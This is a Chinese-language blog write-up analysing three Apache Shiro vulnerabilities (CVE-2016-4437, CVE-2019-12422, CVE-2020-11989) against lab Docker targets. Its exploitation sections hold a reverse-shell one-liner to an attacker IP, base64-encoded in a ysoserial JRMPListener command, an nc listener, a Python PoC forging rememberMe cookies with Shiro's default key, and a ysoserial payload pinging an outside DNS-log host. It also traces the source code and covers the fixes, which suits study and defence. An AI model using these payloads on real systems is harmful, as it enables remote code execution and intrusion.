shrio漏洞分析

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2022年1月6日01:45:12评论53 views字数 14086阅读46分57秒阅读模式

Shrio漏洞学习

Shrio反序列化命令执行（Shiro-550 CVE-2016-4437）

影响范围：
shiro <= 1.2.4 存在反序列化漏洞

漏洞缘由：
Apache Shiro框架提供了记住我的功能（RememberMe），用户登录成功后会生成经过加密并编码的cookie。cookie的key为RememberMe，cookie的值是经过相关信息进行序列化，然后使用AES加密（对称），最后再使用Base64编码处理。服务端在接收cookie时：

  • 检索RememberMe Cookie的值
  • Base 64解码
  • AES解密（加密密钥硬编码）
  • 进行反序列化操作（未过滤处理）

攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie，服务端反序列化时触发漏洞，从而执行命令

漏洞影响：
只要rememberMe的AES加密密钥泄漏，无论shiro什么版本都会导致反序列化漏洞。

漏洞搭建：
https://github.com/Medicean/VulApps/tree/master/s/shiro/1
拉取镜像到本地

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$ docker pull medicean/vulapps:s_shiro_1

启动环境

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$ docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

访问8081端口

漏洞利用

相关环境：
靶机：192.168.247.130
攻击机：192.168.247.129

使用Shiro_exploit工具，检查是否存在默认的key。

Github项目地址： https://github.com/insightglacier/Shiro_exploit 

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python shiro_exploit.py -u http://192.168.247.130:8081/

存在默认key： CipherKey:kPH+bIxk5D2deZiIxcaaaA==

利用方式一：反弹shell

制作反弹shell 代码
使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码

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bash -I >& /dev/tcp 192.168.247.129/1234 0>&1

使用 ysoserial 中 JRMP 监听模块，监听6666端口
ysoserial 地址: https://github.com/frohoff/ysoserial
攻击机中执行命令：

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java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ny4xMjkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

shrio漏洞分析
监听反弹端口 1234
攻击机中执行命令：

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nc -lvnp 1234

生成 POC
shrio.py

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import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
    print("rememberMe={0}".format(payload.decode()))

shrio.py 和 ysoserial.jar 放在同一目录下，攻击机中执行如下命令

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python3 shiro.py 192.168.247.129:6666

得到rememberMe
shrio漏洞分析
抓取登录后的数据包,修改 cookie的 rememberMe 。
shrio漏洞分析
反弹成功

利用方式二：写入shell
生成poc.ser

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java -jar ysoserial.jar CommonsBeanutils1 "echo 'this a test' > /tmp/shell" > poc.ser

代码

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import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("d://poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

这里没尝试成功

漏洞分析

环境搭建

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//jdk1.6版本  window jdk版本切换：w 
//maven 3.2.5 maven历史版本下载 https://blog.csdn.net/still_ly/article/details/80905149
//tomcat 7
git clone https://github.com/apache/shiro.git 
git checkout shiro-root-1.2.4 
cd ./shiro/samples/web 
mvn package -D maven.skip.test=true

在.m2目录下创建一个toolchains.xml文件，然后加入jdk 1.6的路径，这个版本的编译依赖jdk1.6

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<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>C:\Program Files\Java\jdk1.6.0_45\</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

加密过程

org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin设置断点，点击debug开启tomcat服务，在web端登陆账户，勾选Remember Me按钮，
shrio漏洞分析
首先代码对调用 forgetIdentity 对subject变量进行处理，跟进此方法，即CookieRememberMeManager类的forgetIdentity

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//org.apache.shiro.web.mgt.CookieRememberMeManager
 protected void forgetIdentity(Subject subject) {
        if (WebUtils.isHttp(subject)) {
            HttpServletRequest request = WebUtils.getHttpRequest(subject);
            HttpServletResponse response = WebUtils.getHttpResponse(subject);
            this.forgetIdentity(request, response);
        }

    }

调用 另一 forgetIdentity 方法处理request和response请求，这里调用了removeFrom方法

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//org.apache.shiro.web.mgt.CookieRememberMeManager
private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) {
        this.getCookie().removeFrom(request, response);
    }

removeFrom 添加 response 的头部信息

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//org.apache.shiro.web.servlet.SimpleCookie
    public void removeFrom(HttpServletRequest request, HttpServletResponse response) {
        String name = this.getName();
        String value = "deleteMe";
        String comment = null;
        String domain = this.getDomain();
        String path = this.calculatePath(request);
        int maxAge = 0;
        int version = this.getVersion();
        boolean secure = this.isSecure();
        boolean httpOnly = false;
        this.addCookieHeader(response, name, value, (String)comment, domain, path, maxAge, version, secure, httpOnly);
        log.trace("Removed '{}' cookie by setting maxAge=0", name);
    }

然后，重新返回到 onSuccessfulLogin 方法

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//org.apache.shiro.mgt.AbstractRememberMeManager
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
        this.forgetIdentity(subject);
        if (this.isRememberMe(token)) {
            this.rememberIdentity(subject, token, info);
        } else if (log.isDebugEnabled()) {
            log.debug("AuthenticationToken did not indicate RememberMe is requested.  RememberMe functionality will not be executed for corresponding account.");
        }

    }

这里判断是否对token进行了isRememberMe，这个 isRememberMe 看是否在这个web登陆中勾选了remember me，这里已勾选，继续下一步

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//org.apache.shiro.mgt.AbstractRememberMeManager
  protected boolean isRememberMe(AuthenticationToken token) {
        return token != null && token instanceof RememberMeAuthenticationToken && ((RememberMeAuthenticationToken)token).isRememberMe();
    }

进入 rememberIdentity 方法中,principals 为 用户名

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//org.apache.shiro.mgt.AbstractRememberMeManager
 public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
        PrincipalCollection principals = this.getIdentityToRemember(subject, authcInfo);
        this.rememberIdentity(subject, principals);
    }

又调用另外一个重载 rememberIdentity，跟进其方法，通过convertPrincipalsToBytes对accountPrincipals变量进行处理

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//org.apache.shiro.mgt.AbstractRememberMeManager
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
        byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
        this.rememberSerializedIdentity(subject, bytes);
    }

跟进convertPrincipalsToBytes方法发现它会序列化我们传入的用户名，然后调用encrypt方法加密序列化后的二进制字节。

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//org.apache.shiro.mgt.AbstractRememberMeManager
 protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = this.serialize(principals);
        if (this.getCipherService() != null) {
            bytes = this.encrypt(bytes);
        }

        return bytes;
    }

跟进encrypt,使用AES的 CBC分组加密模式，加密秘钥this.getEncryptionCipherKey() 和DEFAULT_CIPHER_KEY_BYTES 一致

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//org.apache.shiro.mgt.AbstractRememberMeManager
   protected byte[] encrypt(byte[] serialized) {
        byte[] value = serialized;
        CipherService cipherService = this.getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
            value = byteSource.getBytes();
        }

        return value;
    }

再返回rememberIdentity，将序列化用户名并AES加密的二进制字节传入rememberSerializedIdentity方法中，进行base64编码，跟进此方法

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//org.apache.shiro.mgt.AbstractRememberMeManager
    protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
        byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
        this.rememberSerializedIdentity(subject, bytes);
    }

将传入的二进制字节进行base64编码并添加到cookie中

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//org.apache.shiro.web.mgt.CookieRememberMeManager
    protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
        if (!WebUtils.isHttp(subject)) {
            if (log.isDebugEnabled()) {
                String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet request and response in order to set the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }

        } else {
            HttpServletRequest request = WebUtils.getHttpRequest(subject);
            HttpServletResponse response = WebUtils.getHttpResponse(subject);
            String base64 = Base64.encodeToString(serialized);
            Cookie template = this.getCookie();
            Cookie cookie = new SimpleCookie(template);
            cookie.setValue(base64);
            cookie.saveTo(request, response);
        }
    }

cookie.saveTo()将cookie的相关属性值添加到reponse请求包头部。

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public void saveTo(HttpServletRequest request, HttpServletResponse response) {
    String name = this.getName();
    String value = this.getValue();
    String comment = this.getComment();
    String domain = this.getDomain();
    String path = this.calculatePath(request);
    int maxAge = this.getMaxAge();
    int version = this.getVersion();
    boolean secure = this.isSecure();
    boolean httpOnly = this.isHttpOnly();
    this.addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly);
}

加密过程就是将登入的用户名进行反序列化，并用AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES（硬编码）值做为key，进行AES的CBC分组模式进行加密，然后又base64编码，最后添加到response请求包的set-cookie头部里

解密过程

在org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法设置断点
shrio漏洞分析
调用getRememberedSerializedIdentity处理http请求,跟进此方法，利用this.getCookie().readValue(request, response)读取 cookie 中 rememberMe 的值，并对其值进行base64解码

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//org.apache.shiro.web.mgt.CookieRememberMeManager
    protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }

            return null;
        } else {
            WebSubjectContext wsc = (WebSubjectContext)subjectContext;
            if (this.isIdentityRemoved(wsc)) {
                return null;
            } else {
                HttpServletRequest request = WebUtils.getHttpRequest(wsc);
                HttpServletResponse response = WebUtils.getHttpResponse(wsc);
                String base64 = this.getCookie().readValue(request, response);
                if ("deleteMe".equals(base64)) {
                    return null;
                } else if (base64 != null) {
                    base64 = this.ensurePadding(base64);
                    if (log.isTraceEnabled()) {
                        log.trace("Acquired Base64 encoded identity [" + base64 + "]");
                    }

                    byte[] decoded = Base64.decode(base64);
                    if (log.isTraceEnabled()) {
                        log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
                    }

                    return decoded;
                } else {
                    return null;
                }
            }
        }
    }

再返回getRememberedPrincipals方法，调用this.convertBytesToPrincipals(bytes, subjectContext)，对rememberMe的base64解码后的值进行处理，跟进此方法，convertBytesToPrincipals 对传入的二进制字符串进行解密和反序列化操作。可以跟进decrypt方法查看具体的解密操作。

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//org.apache.shiro.mgt.AbstractRememberMeManager
    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (this.getCipherService() != null) {
            bytes = this.decrypt(bytes);
        }

        return this.deserialize(bytes);
    }

decrypt方法中的调用 AES 的 CBC 模式进行解密，key为硬编码的值。

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//org.apache.shiro.mgt.AbstractRememberMeManager
    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = this.getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }

        return serialized;
    }

所以解密过程为加密过程的相反操作，如果得知AES算法中的key（硬编码），就可以构造任意的反序列化字符串，进行RCE。

修复方式：

官方针对这个问题的修复方式：

1、删除相关默认密钥

2、如果没有配置密钥，会随机生成一个密钥。

Shiro Padding Oracle Attack（Shiro-721 CVE-2019-12422）

Shiro实用AES-CBC模式进行加解密，存在Padding Oracle Attack漏洞，已登录的攻击者同样可进行反序列化操作。

影响范围：Apache Shiro < 1.4.2
利用条件：
1.攻击者知道密文和初始向量IV
2.padding错误和padding正确服务器可返回不一样的状态

攻击效果：
正常CBC解密需要知道IV、Key、密文，而通过Padding Oracle漏洞，只用知道IV、密文即可获得明文

shiro-1.25以前，AES密钥是硬编码到源码中的，因此可以更改RememberMe的值进行反序列化RCE

而1.2.5之后，shiro采用了随机密钥，也就引出了SHIRO-721，通过padding oracle attack的方式得到，

根据p0师傅之前的文章，在shiro中，当我们更改padding值时，padding正确但反序列化错误则会爆deserialize error；padding错误爆padding error

RememberMe使用AES-128-CBC模式加密，容易受到Padding Oracle攻击，AES的初始化向量iv就是rememberMe的base64解码后的前16个字节，攻击者只要使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀，然后就可以构造RememberMe进行反序列化攻击，攻击者无需知道RememberMe加密的密钥。

漏洞利用

环境配置

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git clone https://github.com/3ndz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

攻击流程：

  1. 登录网站（勾选Remember），并从Cookie中获取合法的RememberMe。
  2. 使用RememberMe cookie作为Padding Oracle Attack的前缀。
  3. 加密 ysoserial 的序列化 payload，以通过Padding Oracle Attack制作恶意RememberMe。
  4. 重放恶意RememberMe cookie，以执行反序列化攻击

1.登录 Shiro 测试账户获取合法 Cookie（勾选Remember Me）
(1) 认证失败时会设置deleteMe的cookie:

shrio漏洞分析
(2) 认证成功则不会设置deleteMe的cookie:
shrio漏洞分析
根据以上条件我们的思路是在正常序列化数据（需要一个已知的用户凭证获取正常序列化数据）后利用 Padding Oracle 构造我们自己的数据（Java序列化数据后的脏数据不影响反序列化结果），此时会有两中情况:

  • 构造的数据不能通过字符填充验证，返回deleteme;
  • 构造的数据可以成功解密通过字符填充验证，之后数据可以正常反序列化，不返回deleteme的cookie.

获取cookie
shrio漏洞分析
2.生成java payload

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java -jar ysoserial.jar CommonsBeanutils1 "ping awa4xw.ceye.io" > payload.class

3.执行exp，经过了几十分钟的爆破，得到padding oracle attack后的cookie

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python2 shiro_exp.py http://192.168.247.130:8080/ NqoZZVVnFvBxH0m7tavNPhx2H2mPLucccvcuM3WSSIQIWyksw3xnNG70MWsSy+TFCUZEkiQSdV38fTmfJgsuEJPFLUrVQUwDkZ+disZ5k1auCE2swMsLE7cUxDykdPk79k6Q0k6N8rZpszd/1+F6uoA8PDH9zaYt7RwXUS2z+JKFV30Cl7h0zZvlKYK98DrITFX8sW0Z/veIgh6G3ljIAIo6CgRUKMwYsi1dfD+HeE5qxTpofOfyuUnkguzY//gvEahmxWy85qMBgSchENUn+aKOFWnrtEvTQ3bOhN3T5Lb2zz0waCSpFEyC+tBDYxUWiiANjJnkUf/KtOZ/tQheAjZezmBymL5qOQJPMaVuGyQtX7AGIhn3r3wrLdQsCog4NzCM5EcaNV4zuGEXL4Mfnk0xh7Lv4O04c931gCRM6zv5hB743NwjdO72hc1TcC/CYLRjfs5rUWHerNClnBJhw5h+pQuJdZ0qsv95aC0Qeh4ywpQKELPfpbuZNEd1zt75 payload.class

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4.复制该cookie，然后重放一下数据库，即可成功执行命令
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漏洞分析

Apache Shiro权限绕过漏洞分析(CVE-2020-11989)

详情可看： https://xz.aliyun.com/t/7964

影响范围

  • Apache Shiro < 1.5.3
  • Spring 框架中只使用 Shiro 鉴权

利用条件：

  • 应用不能部署在根目录，也就是需要context-path，server.servlet.context-path=/test，如果为根目录则context-path为空，就会被CVE-2020-1957的patch将URL格式化，值得注意的是若Shiro版本小于1.5.2的话那么该条件就不需要。
  • Spring控制器中没有另外的权限校验代码

如果直接访问 /test/admin/page ，会返回302跳转要求登录
shrio漏洞分析
但是访问 /;/test/admin/page , 就能直接绕过Shiro权限验证，访问到/admin路由中的信息
shrio漏洞分析
漏油缘由：
Tomcat判断/;test/admin/page 为test应用下的/admin/page路由，进入到Shiro时被;截断被认作为/,再进入Spring时又被正确处理为test应用下的/admin/page路由，最后导致shiro的权限绕过。

另外一种思路： https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/

参考文章：

Apache Shiro权限绕过漏洞分析(CVE-2020-11989) ：https://xz.aliyun.com/t/7964
Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989)： https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/
Shiro反序列化漏洞分析
Shiro反序列化分析带思路及组件检测笔记：https://xz.aliyun.com/t/8997
Shiro反序列化漏洞利用汇总:https://cloud.tencent.com/developer/article/1657019
Shiro Padding Oracle Attack 反序列化：anquanke.com/post/id/200793
Shiro 721 Padding Oracle攻击漏洞分析:https://www.anquanke.com/post/id/193165
从更深层面看Shiro Padding Oracle漏洞:https://www.anquanke.com/post/id/203869
Apache Shiro Padding Oracle反序列化漏洞分析（下）:https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2020/02/09/analysis-shiro-padding-oracle-2/

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  • 本文由 发表于 2022年1月6日01:45:12
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